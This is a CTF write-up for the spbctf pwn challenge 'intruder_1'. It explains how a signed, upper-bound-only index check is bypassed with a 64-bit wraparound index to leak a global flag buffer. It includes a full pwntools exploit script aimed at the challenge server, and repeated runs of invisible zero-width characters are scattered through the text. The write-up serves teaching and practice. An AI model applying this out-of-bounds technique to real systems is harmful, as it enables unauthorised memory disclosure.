← Back to Writeups
CUSTOMMediumpwn

pwn5 intruder_1

XESXOR9/2/20264 min read
#pwn#custom#medium#global_flag_leak#hex_qword_decode#integer_wraparound_oob_read#signed_index_bypass

pwn5 intruder_1

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: global_flag_leak, hex_qword_decode, integer_wraparound_oob_read, signed_index_bypass

Summary

Task: NON-PIE room reservation pwn with an order/view array indexed by a signed 64-bit value, bounded only by a signed upper-bound check cmp idx,0xff; jg. Solution: bypass the bound with a 64-bit wraparound index idx=(flag-rooms)/8 - 2^61 (negative, passes jg) so rooms+idx*8 ≡ flag global (mod 2^64), then read four %016llX qwords and decode them little-endian to reconstruct the flag.

pwn5 intruder_1 — pwn_spbctf

Description

Here is room reservation service

Author: Artur Khanov (@awengar). Category www, tier pwn5. Remote: nc 109.233.56.90 11691

A NON-PIE x86-64 ELF (intruder_1.elf) implements a room reservation service. At startup it loads flag.txt into a global buffer, then offers a menu loop to order (write into a rooms array) and view (read from it). The goal is to leak the flag global through an out-of-bounds read.

Analysis

Binary properties: NON-PIE (base 0x400000), NX, Partial RELRO, no stack canary, not stripped. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @ 0x4011a6:

  • fopen("flag.txt","r") → fread(flag@0x4048a0, 1, 0x400, fp) → the flag text is loaded into the global buffer flag@0x4048a0.
  • Menu loop, 10 iterations, fgets(cmd, 0x40):
    • order\n: scanf("%lld") → idx (signed 64-bit) at [rbp-0x58]; cmp idx,0xff; jg (only an upper bound, SIGNED); scanf("%llx") writes an 8-byte hex value into rooms[idx] (rooms@0x4040a0 + idx*8).
    • view\n: scanf("%lld") → idx; same cmp idx,0xff; jg; reads val = rooms[idx]; if val != 0, prints printf("Ordered by: %016llX\n", val). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug

The index bound is cmp rax,0xff; jg — a signed, upper-bound-only check. There is no lower bound, and the comparison is signed, so any negative index passes. This gives an OOB read (view) and OOB write (order) relative to rooms@0x4040a0.

Key insight

The flag global sits at 0x4048a0 = rooms + 0x800 = rooms[256]. The obvious idx=256 is blocked by > 255. Also note view prints the raw cell with %016llX, not %s — so storing a pointer and dereferencing it as a string is not available. Instead, we leak the flag bytes directly by computing an index that maps onto the flag global. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Use 64-bit index wraparound. The address computation rooms + idx*8 is done in 64-bit arithmetic. Pick:

idx0 = 256 - 2^61 = -2305843009213693696

This is negative, so it passes jg 0xff. Yet:

idx0 * 8  (mod 2^64) = (256 - 2^61) * 8 = 0x800   (the 2^64 term vanishes mod 2^64)
rooms + idx0*8 (mod 2^64) = 0x4040a0 + 0x800 = 0x4048a0   = flag global

So view with idx0 reads the first qword of the flag. Incrementing the index by 1 per iteration walks the flag 8 bytes at a time; four view reads cover the ~32-byte flag string. Each %016llX qword is a little-endian 8-byte chunk of the flag, so decode each leaked value with struct.pack('<Q', val) and concatenate. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag bytes are nonzero text, so the if val != 0 guard passes.

Solution

For i in 0..9: send view, then idx = idx0 + i (decimal). Parse every Ordered by: %016llX line, pack each value little-endian, concatenate, and trim at the first NUL to recover the flag.

python
#!/usr/bin/env python3
# pwn5_intruder_1 (spbctf) -- signed OOB-read via index wraparound.
#
# Bug: order/view read idx as %lld (signed 64-bit) then check `cmp rax,0xff; jg`.
#      Only an UPPER bound, and SIGNED -> any negative idx passes.
# VIEW: prints *(rooms + idx*8) via printf("Ordered by: %016llX\n", val).
#
# flag@0x4048a0, rooms@0x4040a0 => flag = rooms + 0x800 = rooms[256] (blocked by >255).
# But idx*8 is 64-bit: pick idx0 = 256 - 2^61 (a large NEGATIVE number => passes jg255).
# Then (rooms + idx0*8) mod 2^64 == 0x4048a0 exactly. idx0+i advances 8 bytes/step.
from pwn import *
import struct, re, time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = "109.233.56.90", 11691
IDX0 = 256 - (1 << 61)      # -2305843009213693696

def solve():
    io = remote(HOST, PORT, timeout=15)
    time.sleep(0.4); io.recvrepeat(1.0)
    for i in range(10):
        io.sendline(b'view')
        io.sendline(str(IDX0 + i).encode())
    time.sleep(1.0)
    out = io.recvrepeat(2.0)
    io.close()
    data = b''
    for m in re.findall(rb'Ordered by:\s*([0-9A-Fa-f]+)', out):
        data += struct.pack('<Q', int(m, 16))
    return data

if __name__ == "__main__":
    context.log_level = 'error'
    for attempt in range(20):
        try:
            data = solve()
            if b'CTF{' in data or b'ctf{' in data:
                flag = data.split(b'\x00')[0].decode('latin1').strip()
                print("FLAG:", flag)
                break
            print("partial:", data)
        except Exception as e:
            print("attempt", attempt, "failed:", e)
        time.sleep(35)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍